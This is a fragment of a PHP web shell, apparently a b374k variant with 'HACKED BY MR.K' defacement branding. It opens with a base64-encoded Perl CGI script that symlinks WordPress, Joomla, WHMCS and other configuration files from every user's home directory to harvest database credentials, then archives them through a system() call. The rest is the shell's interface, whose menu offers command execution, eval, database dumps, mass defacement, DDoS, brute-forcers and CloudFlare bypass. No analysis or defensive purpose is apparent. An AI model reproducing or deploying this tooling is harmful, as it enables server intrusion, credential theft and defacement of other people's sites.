$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head><link rel="SHORTCUT ICON" href="https://pbs.twimg.com/profile_images/562896224638885888/IU5_PeUz.jpeg"><title>MALAIKAT GALAU WAS HERE</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00FFFF;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:#00FFFF;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:#222222;
text-decoration:none;
letter-spacing:2px;
-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
background:#191919;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: #FF0000;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#FF0000;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #FF0000;
border-top:1px solid #FF0000;
}
.output {
margin:auto;
border:1px solid #00FFFF;
width:100%;
height:400px;
background:#FF0000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:#FF0000;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #00FFFF;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #222222;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00FFFF;
}
.explore tr:hover{
background:#FF0000;
}
.viewfile{
background:#FF0000;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
}
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">BEKASI X CODE WAS HERE</span></a></td></tr><tr><td><b>HACKED BY MR.K BEKASI X CODE WAS HERE</b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=' height="18" width="34"></a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">Database Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dos">Ddos</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=python">python</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi2012">CGI Telnet 2012</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">Wordpress ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
